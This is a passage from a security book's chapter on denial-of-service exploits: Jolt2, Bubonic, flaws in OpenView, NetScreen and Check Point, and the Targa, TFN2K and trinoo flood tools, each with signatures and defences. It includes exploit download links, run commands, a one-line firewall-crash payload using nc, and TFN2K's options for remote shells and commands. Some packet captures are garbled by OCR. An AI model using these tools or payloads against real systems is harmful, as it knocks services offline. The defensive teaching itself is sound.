password and now the attacker owns the machine. Password crackers,
such as LOphtcrack, are covered in Chapter 9, “Microsoft NT Password
Crackers” and Chapter 10, "UNIX Password Crackers.” Also, if the user has
been placed in a global group and is trusted in other domains, then the
attacker now has access to other domains.

This attack can also be used to bypass Intrusion Detection Systems that

may reside on the network. Tiny fragments attacks, such as Jolt2.c, are
designed to fool IDS systems by creating packets that are too small and
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do not contain the source and destination port numbers. Because IDS
systems are looking for port numbers to make filtering decisions, they
could allow the tiny fragments through and do not alert the system of
them.

Signature of the Attack

The following is the signature of the attack:

06:58:06.276478 attacker > 192.168.7.10: (frag 1109:9@65520)
06:58:06.279297 attacker > 192.168.7.10: (frag 1109:9@65520)
06:58:06.279625 attacker > 192.168.7.10: (frag 1109:9@65520)
06:58:06.279939 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.280251 attacker > 192.168.7.10: (frag 1109:9@65520)

The data sent is 29 bytes (20 IP + 9 data), which is valid because it is a
last fragment (MF=0). However, the total length reported by the IP
header is 68 bytes. As stated earlier, this malformed packet should fail
structural tests, if there are any in place.

If a victim is attempting to block this attack, there are a couple signatures
that detect this attack. In the packets you can see that the source and
destination port numbers of the hosts are missing. You could design filters
that would drop IP fragmented tiny packets that do not include TCP source
and destination port numbers. You can see from the packets that the
fragment ID number remains the same throughout the attack. The
fragment ID number of 1109 could be used in a rule set to block
fragments with the ID number of 1109.

How to Protect Against It

On stateful packet-filtering firewalls, the packet fails integrity tests. The
reported length (68) is much larger than the received length (29).
However, a broken router may decide to send 68 bytes when forwarding it
(adding 39 bytes of random padding). This incarnation of the attack is
also illegal because it wraps the IP packet size limit. The IP data length
reported is 48, and the offset is 65520. If the firewall has any sort of
fragment reassembly, it shouldn’t forward a single packet because there
are no valid fragments preceding the attack sequence. If the firewall maps
fragments to open connections, it should detect that there is no open
connection for this particular packet, thereby discarding it.

On Proxy firewalls, a proxy function never passes this attack pattern to
the protected network (assuming that there is no packet filtering
functionality applied to the firewall). If the proxy firewall is running on a
vulnerable OS, and it doesn’t have its own network layer code (relying on
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the MS stack), the attacks cause a DOS attack against the firewall itself,
effectively crashing the entire connection.

On any other type of firewall, if the firewall does fragment reassembly in
an incorrect way (maybe by trusting vulnerable MS stacks to do it), it is
vulnerable to the attack, regardless of which type of firewall it is.

All manufacturers have produced patches for their products.
Manufacturers have also suggested solutions outside of the patches.

In the case of Gauntlet, it is recommended to deny any connection to port
8999 on the firewall. For Checkpoint, it is recommended that console
logging be disabled. Microsoft suggests installation of the patch. All other
Routers should filter the fragmented IP packets, if possible.

In the case of network Intrusion Detection Systems, make sure they are
up to date with the newest patches available. For sensitive machines, you
should use a host-based IDS, and harden all systems by closing all unused
service ports!

In the Windows environment, Microsoft has released several patches for
its effected operating systems:

Windows NT 4.0 Workstation, Server and Server, Enterprise Edition:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20829

Windows NT 4.0 Server, Terminal Server Edition:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830

Windows 2000 Professional, Server and Advanced Server:

http://www.microsoft.com/Downloads/Release.asp?ReleaselD=20827

Windows 95:

http://download.microsoft.com/download/win95/update/8070/w95/EN-
US/259728USAS.EXE

Windows 98:

http://download.microsoft.com/download/win98/update/8070/w98/EN-
US/259728USAS8.EXE

Checkpoint:

http://www.checkpoint.com/techsupport/alerts/ipfrag dos.html
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As taken from Check Point’s web site, "Check Point is in the process of
building new kernel binaries that will modify the mechanism by which
fragment events are written to the host system console, as well as
providing configurable options as to how often to log. In addition and
independent of the console message writing, with the new binaries
FireWall-1 administrators will be able use the Check Point log file method
for reporting fragmentation events. These binaries will be released shortly
in Service Pack 2 of FireWall-1 version 4.1, for 4.1 users, and as a Service
Pack 6 Hot Fix for FireWall-1 version 4.0 users.”

As an interim workaround, customers can disable the console logging,
thereby mitigating this issue by using the following command line on their
FireWall-1 module(s):

SFWDIR/bin/fw ctl debug -buf

This takes effect immediately. This command can be added to the
SFWDIR/bin/fw/fwstart command to be enabled when the firewall
software is restarted. It should be noted that although this command
disables fragmentation console output messages, and standard log
messages, (for example, Long, Short, control messages, and so forth.)
they continue to operate in their traditional way. You can find out more
at:

Network Associates: Gauntlet Firewall

http://www.tis.com/support/cyberadvisory.html
Source Code/Pseudo Code
Source code is available from the following site:

http://packetstorm.securify.com/0005-exploits/jolt2.c

Additional Information
Additional information can be found at the following sites:

e http://www.packetstorm.securify.com

e http://www.antionline.com

e http://www.sans.org

o http://packetstorm.securify.com/DoS/jolt2mod.c

o« http://homel3.inet.tele.dk/kruse/jolt2.txt

o http://members.cotse.com/mailing-
lists/bugtrag/2000/May/0246.html

o http://packetstorm.securify.com/0005-exploits/jolt2.c
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Bubonic

Bubonic.c is a DOS exploit that can be run against Windows 2000
machines and certain versions of Linux (worked against an Ultra5 running
Redhat Zoot). It works by randomly sending TCP packets with random
settings with the goal of increasing the load of the machine, so that it
eventually crashes.

Exploit Details:

« Name: Bubonic

« Variants: Many different types of Denial of Service exploits exist
under different names.

« Operating System: Windows 98, Windows 2000

« Protocols/Services: IP & TCP

o« Written up by: Andy Siske

Protocol Description:

Bubonic utilizes the TCP/IP protocol stack to effect its Denial of Service.
The Internet Protocol (IP) is the standard means by which data is
transferred (through encapsulation) over the Internet. IP is a
connectionless, datagram-oriented service that does not concern itself
with reliability. The IP header (which operates at the Network Layer of the
OSI model) contains several components to ensure it is delivered to the
appropriate host.

Transmission Control Protocol (TCP) on the other hand, is a connection-
oriented protocol that uses a series of sequence and acknowledgement
numbers and flow control to ensure data is reliably delivered to its
destination. TCP operates at the Transport layer of the OSI model. The
TCP header contains the source and destination ports as well as the
sequence and acknowledgement numbers. Because TCP does not contain
the source and destination IP address, TCP must be encapsulated within
the IP datagram to properly arrive at its destination. This IP datagram is
then further encapsulated within an Ethernet frame (if it's an Ethernet
network), which operates at the Data Link Layer of the OSI model. All this
is then transmitted into a series of bits that are sent across the physical
media (the Physical Layer of the OSI model).

When the destination host receives the data, the opposite then takes
place. First, the MAC address is read from the Ethernet frame, and the
NIC card checks to see if it is the intended destination. If so, the data is
then passed up the OSI stack to the Network Layer where the IP header is
read. Contained within this IP header is specific code that designates what
type of data is encapsulated within; in this case, TCP data. This process is
then repeated until the data arrives at the designated application.
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The exact specifications for the IP as well as the TCP can be found at
http://www.rfc-editor.org. RFC0791 deals with IP, while RFC0761 deals
with TCP.

Description of Variants

All Denial of Service attacks have the purposeful action to significantly
degrade the quality or the availability of services a system offers. With
respect to the abuse of the TCP/IP stack, there have been quite a large
number of Denial of Service tools in existence for a number of years. Most
other Denial of Service tools currently in existence tend to exploit the
SYN, SYN/ACK, and ACK connection phases of TCP, which is known as the
three-way handshake. Others implement such tactics as sending
malformed fragmented packets in an attempt to crash the victim’s
Operating System, while others merely attempt to overwhelm a target
system by sending a tremendous amount of data. Regardless of the
technique, all these exploits take advantage of inherent weaknesses with
the TCP/IP protocol stack specification.

How the Exploit Works

Bubonic is a relatively simple Denial of Service tool that also gives the
attacker the ability to spoof his IP address with the hopes of completely
concealing his identity (or taking on someone else’s identity).

A search of the Internet revealed several web sites that had the bubonic
source code available for anyone to download. Most web sites had very
little or no documentation or explanation of it. The following information
was located within the source code:

"Bubonic.c lame DoS against Windows 2000 machines

and certain versions of Linux (worked against an Ultrab
running Redhat Zoot. Should compile under anything.
Randomly sends TCP packets with random settings, etc.
Brings the load up causing the box to crash with

error code:

STOP 0x00000041 (0x00001000,0x00001279,0x000042A,0x00000001)
MUST SUCCEED POOL_ EMPTY"

After the code is downloaded, it must be compiled. The command used to
compile the program is:

#make bubonic
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This was done from the root directory where bubonic was downloaded.
Next, the command . /bubonic was run, which displayed the built-in help:

Bubonic - sil@antioffline.com
Usage: ./bubonic <dst> <src> <size> <number>

Ports are set to send and receive on port 179

Dst: Destination Address
Src: Source Address
Size: Size of packet which should be no larger than 1024

should allow for xtra
header info through routes
Num : packets

For this experiment, there were four targeted machines. The first was a
Windows 2000 machine with all current service packs installed as of
December 28, 2000. The second was a Windows 2000 machine with no
updates at all. The third was a Windows 98 machine with all current
updates as of December 28, 2000, and the fourth was a Windows
Millennium machine with all current updates as of December 28, 2000.

The bubonic Denial of Service tool was then executed against the first
machine using this command:

# ./bubonic 192.168.1.50 10.1.1.10 100 100

There were no observable immediate effects against the updated Windows
2000 machine. The hub, however, indicated so many collisions on the LAN
that the red collision light was a steady red. After several minutes, the
targeted machine revealed sporadic freeze ups that lasted 3 to 4 seconds
at a time. The bubonic attack continued for fifteen minutes with no other
adverse effects.

The results were identical against the second machine (Windows 2000
with no updates).

The third machine (Windows 98) immediately froze up and was completely
unusable. Even rebooting the machine (which required a hard reboot)
resulted in the machine immediately freezing as soon as it reconnected to
the network. The only way to avoid the ramifications of the bubonic Denial
of Service was to physically disconnect it from the network or find a way
to stop the network attack.

The Windows Millennium machine exhibited no adverse effects
whatsoever.
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The author of bubonic describes how the exploit works, "Randomly sends
TCP packets with random settings, etc.” Network captures were done
utilizing TCPDump, Snort, and Ethereal. Observation of the packets of
data reveals the following:

Snort capture (one sample packet):
=t=4=t=t=d=+=F=t=t=F=+=F=t=t=F=+=F=+=t=F=+=F=+=t=F=+=+=+=+=4=+
=+=4

01/06-20:37:51.972206 10.1.1.10 -> 192.168.1.50 TCP TTL:255
TOS:0xC9 ID:49832 Frag

Offset: O0x1B9E Frag Size: 0x14 50 00 EF CO 87 8E 61 15 6B 57
Ce 4E 00 27 00 00

P..... a.kWw.N.'.. 3D FB 00 00
=...=t=t=t+=+=+=t+=+=4=t=t=+=t=t=+=t=t+=+=+=+=F=F=+=+=+=+=+=+=+=+
=t+=+4=+=+

Ethereal Capture (one sample packet):

Frame 1 (54 on wire, 54 captured)
Arrival Time: Jan 6, 2001 20:37:51.9721
Time delta from previous packet: 0.000000 seconds
Frame Number: 1
Packet Length: 54 bytes
Capture Length: 54 bytes
Ethernet IT
Destination: 00:20:78:cd:c2:de (00:20:78:cd:c2:de)
Source: 00:00:c0:6£f:d7:77 (00:00:c0:6£:d7:77)
Type: IP (0x0800)
Internet Protocol
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0xc9 (DSCP 0x32: Unknown
DSCP; ECN: 0x01)
1100 10..

Differentiated Services Codepoint: Unknown
(0x32)
.0. = ECN-Capable Transport (ECT): O
vee. ...1 = ECN-CE: 1
Total Length: 40
Identification: Oxcla8
Flags: 0x00
.0.. = Don't fragment: Not set
.0. = More fragments: Not set
Fragment offset: 56560
Time to live: 255
Protocol: TCP (0x06)
Header checksum: 0x90da (correct)
Source: 10.1.1.10 (10.1.1.10)
Destination: 192.168.1.50 (192.168.1.50)
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Data (20 bytes)

0 5000 efcO 868e 6115 d2d9 0949 0054 0000
P..... a....L.T..
10 9451 0000 Q..

As can be observed from this Ethereal capture, bubonic transmits an IP
datagram that contains 20 bytes of random data. The IP datagram
indicates that it contains TCP data (0x06), but in fact, there is no TCP data
within the datagram. Obviously, this type of datagram is not following
standard TCP/IP transmission standards, therefore, how each System
handles this incoming datagram is dependant upon how that Operating
System implements its TCP/IP stack. Further complicating this is the fact
that bubonic sends out an extremely large quantity of datagrams (without
regard for collisions). From this limited experiment, it appears that the
Windows 98 Operating System is vulnerable to this exploit and Windows
2000 is only slightly affected. Windows Millennium was not affected at all.

A side effect of this exploit is that, although machines not targeted are
unaffected, bubonic sends out such a large number of datagrams without
regard to collisions that other machines residing on the affected network
suffer decreased network performance as a result of the extremely high
collision rate.

How to Use It

The bubonic program can be downloaded from several sources, including:
http://www.antioffline.com/bubonic.c.

The source code must be compiled and run with the correct syntax as
previously described.

Signature of the Attack

Certainly with this type of attack, the victim machine wants to find a way
to block it as well as detect it. With this consideration in mind, an analysis
of the network traffic must be done, so that certain peculiarities can be
located. It has been found over time that when someone programs an
exploit, certain values within the programming code will be defined either
as an absolute or changing variable that increments/decrements by a
fixed amount. With bubonic, the source IP address is a fixed value that is
defined by the user when the exploit is initially run. Unfortunately,
because of this fact, the victim cannot search for a known hostile IP
address because the attacker can change this.

From an analysis of attacks that were run in a controlled environment,

several possible signatures appear to surface. First, there is a fixed Time
to Live (TTL) value of 255. Second, the Type of Service (TOS) field has a
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consistent value of 0xC9. Third, there are always exactly 20 bytes of data
carried within the IP datagram. Lastly, the fragment ID value has
consistent increments by a value of 256. Based on the above information,
a sniffer can be used to effectively detect this type of attack as well as
program a firewall to block such an attack.

With any type of attack, it is imperative that the network data be analyzed
for any type of pattern that can be programmed into the router, sniffer, or
firewall, so the network may be properly protected.

How to Protect Against It

One of the best ways to secure a network against any type of outside
attack is to utilize a Network Address Translating router/firewall while
using reserved, non-routable IP address schemes for the internal network.
This type of network architecture makes it extremely difficult for an
outsider to directly attack one of the inside hosts. Because this attack is
run using a static source address, the firewall could be programmed to
automatically shutdown any further incoming connections from the hostile
IP address. Certainly, whichever operating system is being utilized, the
newest patches and upgrades should be installed. Furthermore, vulnerable
operating systems to this specific type of attack should not be utilized on
any external systems that may be acting as a web server, ftp server, and
so forth. In this limited experiment, Windows 98 was the most vulnerable
0OS, and it would be rare indeed for this operating system to be used on
an external server. Certainly, if a host machine is not absolutely required
to be on the network, there should be no connectivity whatsoever. The
first step in any good security plan always should be physical security.

After host-based considerations have been implemented, network-based
solutions must also be considered. Even if every host on the network is
impervious to bubonic, it is entirely possible that (as is the case with most
Denial of Service attacks) all network resources may be consumed by the
Denial of Service attack. Therefore, it is imperative to have a defensive
strategy in place at the network entry point to the Internet, which is
usually a router. The judicious use of the router’s access control list may
be enough to block such hostile traffic. Of course a good application
gateway Firewall should also be used in conjunction with the router.
Finally, a high-quality IDS should be implemented as well. By utilizing a
good combination of router/firewall/ids, the three will work in concert to
shun a perceived hostile connection, such as bubonic.

Source Code/Pseudo Code

The source code for bubonic can be found at
http://www.antioffline.com/bubonic.c.
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Microsoft Incomplete TCP/IP Packet Vulnerability

An attacker can send malformed packets to port 139 on a victim’s system
that will affect network services and system operations.

Exploit Details:

« Name: Microsoft Incomplete TCP/IP Packet Vulnerability
« Operating System: Windows NT, ME, 9x
« Protocols/Services: TCP/IP, Port 139

How the Exploit Works

If a malicious user sends a flood of specially-malformed TCP/IP packets to
a victim’s machine on port 139, either of the following could occur. First,
the flood could temporarily prevent any networking resources, on an
affected computer, from responding to client requests. When the packets
stop arriving, the machine would resume normal operation. Second, the
system could hang and remain unresponsive until it was rebooted.

How to Use It

Any program that can send out multiple, fragmented TCP/IP packets to a
specific target can be used to take advantage of this vulnerability.

Signature of the Attack

A signature of this attack is a large number of inbound TCP/IP packets
destined for port 139 on a specific machine or group of machines.

How to Protect Against It

The following are the steps that should be used to prevent this type of
attack:

1. Use a port blocking software to close port 139.
2. Disable the server service or File/Print sharing.
3. Apply the patch that is specified by Microsoft for your specific OS.

Additional Information

Additional information can be found at http://www.ciac.org

HP Openview Node Manager SNMP DOS Vulnerability

HP Openview Node Manager can be compromised due to an unchecked
buffer that exists in the program code.

Exploit Details:
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« Name: HP Openview Node Manager SNMP DOS Vulnerability

« Operating System: Sun Solaris 8.0, Sun Solaris 7.0, Sun Solaris
2.6, Microsoft Windows NT 4.0, Microsoft Windows NT 2000, HP HP-
UX 11.0, HP HP-UX 10.20

« Protocols/Services: SNMP, HP Openview Network Node Manager
6.1

How the Exploit Works

If a specially-crafted GET request comprised of 136 bytes is sent to the
web services on port 80 through the Overview5 CGI interface, the SNMP
service will crash. This exploitation, depending on the data entered, allows
the execution of arbitrary code by an unauthorized user.

How to Use It

Use any web browser with the given string.

Signature of the Attack

Watch for specific 136-byte GET requests sent to the HP Openview node
manager by using a network sniffer. If the node managers SNMP service
continually crashes, verify the given fix.

How to Protect Against It

To protect against this exploit, apply the following patches based on the
system that is impacted:

e HP Openview Network Node Manager 6.1:
o HP patch NNM_0062
o http://ovweb.external.hp.com:80/cpe/c/s.dll/saveAs?productN
ame=/home/ftp/pub/cpe/patches/nnm/6.1/inteINT_4.X/NNM
00621.EXE

« WinNT4.X/2000
o HP patch PSOV_02830
o http://ovweb.external.hp.com:80/cpe/cqi-
bin/saveAs?productName=/home/ftp/pub/cpe/patches/nnm/6.
1/sparc 2.X/PSOV 02830

e Solaris 2.X
o HP patch PHSS_22407
o http://ovweb.external.hp.com:80/cpe/cqgi-
bin/saveAs?productName=/home/ftp/pub/cpe/patches/nnm/6.
1/s700 800 11.X/PHSS 22407

« HP-UX 11.00

“ Hackers Beware * New Riders Publishing 255



o HP patch PHSS_22406
http://ovweb.external.hp.com:80/cpe/cqi-
bin/saveAs?productName=/home/ftp/pub/cpe/patches/nnm/6.
1/s700 800 10.X/PHSS 22406

Source Code/Pseudo Code

The following is the pseudo code for running this exploit:
http://target/0OvCgi/OpenView5.exe?Context=Snmp&Action=Snmp&Hos
t=§&0id=<string of

characters consisting of 136 bytes>

Additional Information

Additional information can be found at http://www.securityfocus.com.

NetScreen Firewall DOS Vulnerability

An unauthorized user can perform a Denial of Service attack against the
NetScreen Firewall. Requesting a long URL to the WebUI, which is
listening on the default port 80, will cause the firewall to crash. A restart
of the service is required to gain normal functionality.

Exploit Details:

« Name: NetScreen Firewall Denial of Service Vulnerability

« Operating System: NetScreen Screen OS 2.5r1, NetScreen Screen
OS 2.1r6, NetScreen Screen OS 2.10r3, NetScreen Screen OS
1.73r1

« Protocols/Services: HTTP, TCP/IP

How the Exploit Works
If the input URL is longer than 1220 bytes, a NetScreen firewall will crash.
Signature of the Attack

Verify that the patches from the following web site are installed on the
NetScreen firewall. The only way to detect this attack is to monitor port 80
and watch for URL lengths that exceed 1220 bytes

How to Protect Against It

To protect against this exploit, a patch can be obtained from the following
web site: http://www.netscreen.com/support/updates.html

Source Code/ Pseudo Code
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The following is the pseudo code for running this exploit:

Secho -e "GET / 'perl -e 'print "A"x1220'"® HTTP/1.0\n\n"|nc=
netscreen firewall 80

Additional Information

Additional information can be found at http://www.netscreen.com.

Checkpoint Firewall DOS Vulnerability

There is a problem with the license manager that is used with the Firewall-
1 package utilizing the limited-IP license on a Solaris 2.X, which can allow
a Denial of Service attack against the firewall.

Exploit Details:

« Name: Checkpoint Firewall DOS Vulnerability

« Operating System: Sun Solaris 2.6, Sun Solaris 2.5.1

« Protocols/Services: Check Point Software Firewall-1 4.1 SP3,
Check Point Software Firewall-1 4.1 SP2, Check Point Software
Firewall-1 4.1

How the Exploit Works

The license manager of the firewall calculates the address space protected
by counting the number of addresses crossing the internal interface. When
a large number of packets cross the internal interface of the firewall, each
IP address is added to the number calculated under its license coverage.
After the number of covered IP addresses is exceeded, an error message
is generated on the console for each IP address that is outside of the
covered range. The load on the Firewall system CPU rises with each error
message that is generated. Due to this vulnerability, an unauthorized user
can make the firewall system inaccessible from the console by sending a
large number of IP addresses to the internal interface.

How to Use It

This exploit can be run by either using an exploit generator or a program
called SynK4.c

Signature of the Attack
By using a packet sniffer, an administrator can watch for a large amount

of packets destined for the internal interface of the firewall, which contain
invalid IP addresses for the network.

How to Protect Against It
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There are no patches out for the given exploit, but issuing a 'fw ctl
debug -buf' prevents this console logging from consuming excessive
CPU. This must be redone after every installation of a service pack.

Additional Information

Additional information can be found at http://www.securityfocus.com.

Tools for Running DOS Attacks

Just like any of the other exploits we cover, there are programs that an
attacker can use to run the exploits. In the case of Denial of Service
attacks, the ultimate goal is to deny access to a particular component
(such as a network or a computer), which is accomplished by either
crashing the system or using up all its resources, so that no one else can
use it. Because this is the goal, it does not matter which DOS exploit is
used, as long as the legitimate users are denied access to the system.
Based on this fact, most DOS programs try several different exploits until
they are successful. So instead of having a single program to run a Smurf
attack, and a separate program to run a land attack, they are all
combined into one program. In this section, we look at Targa, which is
used to launch a variety of DOS attacks.

Targa

Targa is a program that can be used to run 8 different Denial of Service
attacks. It was written by Mixter and can be downloaded from
http://packetstorm.securify.com and is also available from
www.Rootshell.com. Mixter took the code for each of the individual DOS
exploits and put them together in one easy-to-use program. The attacker
has the option to either launch individual attacks or to try all the attacks
until it is successful. Needless to say, Targa is a very powerful program
and can do a lot of damage to a company’s network.

Installing Targa

Targa is very easy to install. When you download Targa, you download a
single C source code file. Targa is installed on UNIX machines and can be
compiled with either cc, the standard c compiler, or gcc, the GNU C
compiler. After the program is downloaded, you type gcc targa.c from a
terminal window to compile the program. Remember, the compiler
generates an a.out executable if the program compiles correctly, so it is
recommended that you rename this program to something like targa or
targa.exe. To compile Targa, you need the arpa, netinet, and sys C
libraries installed, so if you are having problems compiling the program,
you might have to install additional libraries and the corresponding header
files.
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Running Targa
To run Targa from a terminal window, type ./targa. The following is the

output from running this command:

[root@seclinuxl ericl# ./targa
targa 1.0 by Mixter
usage: ./targa <startIP> <endIP> [-t type] [-n repeats]
type ./targa - -h to get more help

As you can see, the basic format of Targa is to specify a range of IP
addresses that you want to attack, the type of attack you want to run, and
the number of times you want to repeat the attack. The following are the
different types of DOS attacks you can run and the corresponding ID
numbers:

0—all the below attacks

1—bonk

2—jolt

3—land

4—nestea

5—newtear

6—syndrop

7—teardrop

8—winnuke

Also, because the attacker has the source code for Targa, as new exploits
come out, they can be easily added to the program.

The following is the output from running Targa against a single host,
10.246.68.48:

[root@seclinuxl ericl# ./targa 10.246.68.48 10.246.68.48 -t0
targa 1.0 by Mixter
Leetness on faxen wings:
To: 208.246.68.48 - 208.246.68.48
Repeats: 1
Type: 0
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FHEFFH AR FHA SR IHCSS
8888888888888 885%5%5%%5%%5%%%%%%%%%%%%%%connect () ¢
* ]
-all done-
[root@seclinuxl ericl#

Because we gave it an option of t0, we told the program to try every
single exploit until it was successful at crashing the target host. As the
program runs and tries a different exploit, the cursor changes to a
different symbol.

This exploit was run against a Windows machine and crashed it in around
2 minutes. UNIX systems have similar vulnerabilities and can be crashed
in approximately the same amount of time. If you haven't already realized
it, you should start to see the power of Denial of Service attacks. If this
has not scared you enough, let’s take a look at an even more powerful
type of program, Distributed Denial of Service (DDOS) tools

Tools for Running DDOS Attacks

With the turn of the century, it seemed like most companies were
concerned with Y2K problems and whether we would still have electricity
to run computers when January 1, 2000 hit. As everyone was worrying
about this problem, there was a new problem brewing—attackers were
building tools that could launch devastating Distributed Denial of Service
attacks. The first main attack took place in February of 2000, where
several large companies were taken offline. There are a large humber of
tools that are available on the Internet for implementing these types of
attacks. Several can be found at
http://packetstorm.securify.com/distributed.

The following are the main tools in chronological order: trinoo, tribal flood
network (TFN), stacheldraht, shaft, tribal flood network 2000 (TFN2K),
and mstream. They all have similar functionality in terms of how they
launch an attack. In this section, we first cover TFN2K because it is very
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feature-rich, it has a lot of capabilities, and it is built on TFN. We then
cover trinoo and stacheldraht. Mstream, although it was one of the
newest, released programs, has fairly limited features and performs the
same type of attacks as TFN2K.

For additional details on the various DDOS attack tools, see David
Dittrich’s writeups of the attacks available from
http://packetstorm.securify.com/distributed. David has written excellent,
extensive papers on the tools covered in this section.

Tribal Flood Network 2000 (TFN2K)

TFN2K is a program that can be viewed as an enhancement to Targa. It
was written by the same person, Mixter, and can be downloaded from the
same site: http://packetstorm.securify.com. It runs the same DOS attacks
as Targa plus an additional five exploits. In addition, it is a DDOS tool,
which means it can run in a distributed mode where several machines all
across the Internet attack a single machine or network.

Installing TFN2K

Because TFN2K is a DDOS application and runs in a distributed mode,
there are two main pieces to the program: a client module and a server
module. The client module is the piece that controls the servers; it tells
the servers when to attack and with what exploit. The server runs on a
machine in listening mode and waits to get commands from the client. To
install the program, the program first has to be uncompressed, and then it
has to be compiled. To uncompress the program, type tar -xvf
tfn2k.tar. To compile the program, type make all. At this point, both
the client and server components have been compiled and the program
can be run. Remember, a machine can function as both a client and
server.

Running TFN2K

To run TFN2K, you first have to start up the server daemons, so that the
client has a server to which it can connect. In this case, we are going to
run the client and server on the same machine. To start up the server,
type the following commands from a terminal window:

[root@seclinuxl tfn2k]# ./td
Now that the server is running, you can start up the client to launch an

attack. To find out the options available with TFN2K, type ./tfn from a
terminal window and the following is displayed:
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[root@seclinuxl tfn2k]# ./tfn
usage: ./tfn <options>
[-P protocol] Protocol for server communication. Can be
ICMP, UDP or TCP.
Uses a random protocol as default

[-D n] Send out n bogus requests for each real one to
decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by

default, you need
to use your real IP if you are behind spoof-
filtering routers

[-f hostlist] Filename containing a list of hosts with TFN
servers to contact

[-h hostname] To contact only a single host running a TFEN
server

[-1i target string] Contains options/targets separated by
'@', see below

[-p port] A TCP destination port can be
specified for SYN floods

<-c command ID> 0O - Halt all current floods on server(s)
immediately

1 - Change IP antispoof-level (evade rfc2267

filtering)
usage: -i 0 (fully spoofed) to -1 3 (/24

host bytes spoofed)

2 - Change Packet size, usage: -1 <packet size
in bytes>

3 - Bind root shell to a port, usage: -1
<remote port>

4 - UDP flood, usage: -1
victim@victim2@victim3@. ..

5 - TCP/SYN flood, usage: —-i victim@... [-p
destination port]

6 - ICMP/PING flood, usage: -1 victim@...

7 - ICMP/SMURF flood, usage: -i
victim@broadcast@broadcast2@...

8 - MIX flood (UDP/TCP/ICMP interchanged),

usage: -1 victim@...

9 - TARGA3 flood (IP stack penetration),
usage: -1 victim@...

10 - Blindly execute remote shell command,

usage -1 command
[root@seclinuxl tfn2k]#

As you can see, TFN2K has all the attacks that Targa has plus some
additional ones, which are mainly several different types of flooding
attacks. At this point, we are going to run an attack from machine
10.246.68.39 (where both the server and client are running) against a
victim machine 10.246.68.48 using a mixed flood attack. The following is
the command to launch the attack:
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[root@seclinuxl tfn2k]#

208.246.68.48

Protocol
Source IP
Client input
Target (s)
Command

random
random
single host

208.246.68.48

commence syn flood, port: random

Password verification:

Sending out packets:

./tfn -h 208.246.68.39 -c8 -1

At this point, the attack is being run against the victim host. The following
is the output from TCPdump to show the flooding attack:

09:38:20
udp 46
09:38:20
udp 46

09:38:20.624782 eth0 > seclinuxl.

.622582

.622582

21388+ PTR?
0.102.1.212.in-addr.arpa.

09:38:20.636147 eth0 < 10.246.68.

21388 NXDomain*
0/1/0 (109)

09:38:20.636566 ethO
21389+ PTR?
97.68.246.10.1in-addr
09:38:20.639757 ethoO
21389 NXDomain*
0/1/0 (127)

09:38:20
udp 46
09:38:20
udp 46

09:38:20.

46

09:38:20.

46

09:38:20.

udp 46

09:38:20.

udp 46

09:38:20.

reply

09:38:20.

reply

.643873

.643873

663832

663832

683831

683831

703849

703849

lo > 212.1.102.0.49022 > seclinux1.40181:

lo < 212.1.102.

lo

lo

lo

lo

lo

lo

lo

lo

> seclinuxl.

.arpa.

< 10.246.68.

> 212.

< 212.

> 212.

< 212.

> 212.

< 212.

> 212.

< 212.

(42)

(44)

1.102.

1.102.

1.102.

1.102.

1.102.

1.102.

1.102.

1.102.

0.49022 > seclinux1.40181:

socks > 10.246.68.97.domain:

97.domain > seclinuxl.socks:

socks > 10.246.68.97.domain:

97.domain > seclinuxl.socks:

0.29220 > seclinux1.58690:
0.29220 > seclinux1.58690:
0.198 > seclinux1.49117: udp
0.198 > seclinux1.49117: udp
0.24831 > seclinuxl1.65129:
0.24831 > seclinuxl.65129:
0 > seclinuxl: icmp: echo

0 > seclinuxl: icmp: echo
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09:38:20.723830 lo
udp 46
09:38:20.723830 1o
udp 46
09:38:20.744090 lo
reply
09:38:20.744090 lo
reply
09:38:20.763833 1o
udp 46
09:38:20.763833 lo
udp 46
09:38:20.783848 lo
reply
09:38:20.783848 lo
reply
09:38:20.803851 1o
reply
09:38:20.803851 lo
reply
09:38:25.250672 ethO
21390+ PTR?
09:38:25.263864 lo
udp 30
09:38:25.263864 lo
udp 30
09:38:25.264380 ethoO
21390 NXDomain*
0/1/0 (129)
09:38:25.283873 lo
reply
09:38:25.283873 1o
reply
09:38:25.303918 lo
0:47(47) ack 0 win
34769
09:38:25.303918 lo
0:47(47) ack 0 win
34769
09:38:25.323957 lo
0:47(47) win O
09:38:25.323957 lo
0:47(47) win O

212.

212.

212.

212.

212.

212.

212.

212.

212.

212.

seclinuxl.

31.240.187.0.36525 > seclinuxl.

31

10

31

31

31

31

31

31

.240.

.246.

.240.

.240.

.240.

.240.

.240.

.240.

.102.0

.102.0

.102.0

.102.0

.102.0.

.102.0.

.102.0

.102.0

.102.0

.102.0

187.0

68.97

187.0

187.0

187.0.

187.0.

187.0.

187.0.

.20734 > seclinuxl
.20734 > seclinuxl
> seclinuxl: icmp:
> seclinuxl: icmp:
49883 > seclinuxl
49883 > seclinuxl
> seclinuxl: icmp:
> seclinuxl: icmp:
> seclinuxl: icmp:
> seclinuxl: icmp:

socks > 10.246.68.97.

.36525 > seclinuxl.

.39501:

.39501:

echo

echo

.25447:

.25447:

echo

echo

echo

echo

domain:

31081:

31081:

.domain > seclinuxl.socks:

> seclinuxl:

> seclinuxl:

52524 >

10407 >

10407 >

To stop the attack, type the following command:

[root@seclinuxl tfn2k]#

./tfn -h 208.246.68.

39 -c0
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52524 > seclinuxl.

seclinuxl.

seclinuxl.

seclinuxl.

echo

echo

12539:

12539:

54491:

54491:
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Protocol : random

Source IP : random
Client input : single host
Command : stop flooding

Password verification:

Sending out packets:
[root@seclinuxl tfn2k]#

It is important to note that to start and stop a TFN2K attack, the user of
the program must supply a password. The password is supplied when the
program is installed.

An additional important fact to point out is that TFN2K is very stealthy. It
does several things that make it harder to detect on a network. For
example, all communication between the client and the server are sent
using ICMP_ECHO REPLY packets. This is harder to detect because port
numbers are not used. So, even if you run a port scanner on a regular
basis, you would not be able to detect that your system is being used as a
TFN2K server.

Trinoo

Trinoo is one of the first mainstream tools to be released and, therefore,
has scaled back functionality compared to TFN2K. TFN2k is very stealthy
because it uses ICMP, so there are no ports to detect on a compromised
machined. Trinoo uses TCP and UDP, so if a company is running port
scanner on a regular basis, like they should be, this program is easier to
detect. The following are the ports it uses:

o Attacker to master: 27665/tcp
o Master to daemon: 27444/udp
o« Daemon to master: 31335/udp

With trinoo, daemons reside on the systems that actually launch the
